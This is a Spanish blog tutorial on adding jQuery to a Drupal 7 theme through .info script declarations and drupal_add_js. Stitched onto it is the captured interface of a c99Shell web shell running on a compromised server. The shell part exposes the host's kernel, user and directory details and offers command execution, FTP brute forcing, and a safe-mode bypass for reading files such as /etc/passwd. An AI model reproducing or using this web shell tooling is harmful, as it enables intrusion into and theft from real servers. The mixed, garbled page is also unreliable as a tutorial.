Subir

Integrar Jquery en un sistema Drupal 7. Preparando el entorno

Jquery y Drupal 7

Si habéis trasteado un poco con la librería Jquery, y conocéis las posibilidades potenciales para nuestros proyectos web, en cuánto a funcionalidades y efectos principalmente, vamos a empezar a implementarla desde cero en un sistema drupal 7.

Por lo tanto, hoy únicamente vamos a preparar el entorno para que la librería Jquery funcione sin problemas en Drupal 7.

Primero: nos vamos a descargar las librerías necesarias básicas para su correcto funcionamiento, y la vamos a guardar en el directorio de nuestra plantilla, preferiblemente y si no existe, creamos un carpeta denominada js, y las guardamos ahí.

Enlaces para descarga:
-http://jquery.com/download/
-http://jqueryui.com/download/

Segundo: si vamos a implementar nuestro propio código jquery, debemos crear un archivo js con cualquier editor de texto, por ahora en blanco, y lo guardamos en el mismo directorio del punto anterior (p.ej.: micodigo.js).

Tercero: informamos a nuestro sistema Drupal 7 que ejecute las páginas mirando nuestros archivos js, para lo cuál accedemos, en nuestro theme, al archivo nuestro-theme.info y lo editamos:

Cuarto: dentro de nuestro archivo.info y a continuación de la declaración de nuestras stylesheets, incluímos la declaración de nuestros archivos .js, de esta manera:

scripts[] = js/jquery-1.11.1.min.js
scripts[] = js/jquery-ui-1.11.2.custom.js
scripts[] = js/micodigo.js

Es importante mantener este orden en la declaración para que no nos de problemas.

El formato o sintaxis en nuestro jquery personalizado es el mismo en Drupal 7 que para cualquier otra plataforma o framework, por lo que utilizamos la misma, por ejemplo, para nuestro documento preparado o cargado:

$(document).ready(function() {
nuestro código aquí
});

Esta es la manera más sencilla de implementar nuestro código javascript en nuestro sistema. Posteriormente iremos viendo poco a poco diferentes formas de implementarlo, para nuestro theme específico, archivos php, módulos concretos, etc, etc.

Ahí van algunos ejemplos:

Si queremos implementar un archivo jquery en un archivo tpl.php específico:

drupal_add_js(drupal_get_path('theme', 'my_theme') . '/js/micodigo.js');

Si queremos aplicar una librería externa:

drupal_add_js('http://example.com/example.js', 'external');

En fin, y otras muchas opciones que iremos viendo más adelante.

Temas blog: 
Imagen de rummykhan
SOBRE EL AUTOR

Experto en desarrollo de portales web, comercio electrónico y seo.

Añadir nuevo comentario

Filtered HTML

  • Las direcciones de las páginas web y las de correo se convierten en enlaces automáticamente.
  • Etiquetas HTML permitidas: <a> <em> <strong> <cite> <blockquote> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Saltos automáticos de líneas y de párrafos.

Plain text

  • No se permiten etiquetas HTML.
  • Las direcciones de las páginas web y las de correo se convierten en enlaces automáticamente.
  • Saltos automáticos de líneas y de párrafos.
laranikita.es - phpshell

!c99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.3.3 

uname -a: Linux abretutiendaonline.com 2.6.32-042stab134.3 #1 SMP Sun Oct 14 12:26:01 MSK 2018
x86_64
 

uid=48(apache) gid=48(apache) groups=48(apache),502(psaserv),508(psasb) 

Safe-mode: OFF (not secure)

/var/www/vhosts/abretutiendaonline.com/httpdocs/descargas/   drwxr-xr-x
Free 33.87 GB of 49.09 GB (69.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Listing folder (2 files and 0 folders):

NameAsc. Size Modify Owner/Group Perms Action
 . LINK 31.10.2018 17:20:35 10000/503 drwxr-xr-x Info 
 .. LINK 31.10.2018 17:20:39 10000/502 drwxr-xr-x Info 
 Tutorial instalación y configuración Drupal 7.pdf 346.87 KB 31.10.2018 17:20:35 10000/503 -rw-r--r-- Info Change Download 
 Tutorial instalación y conf... con Drupal 7 + Ubercart.pdf 560.47 KB 31.10.2018 17:20:35 10000/503 -rw-r--r-- Info Change Download 

    


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0154 ]--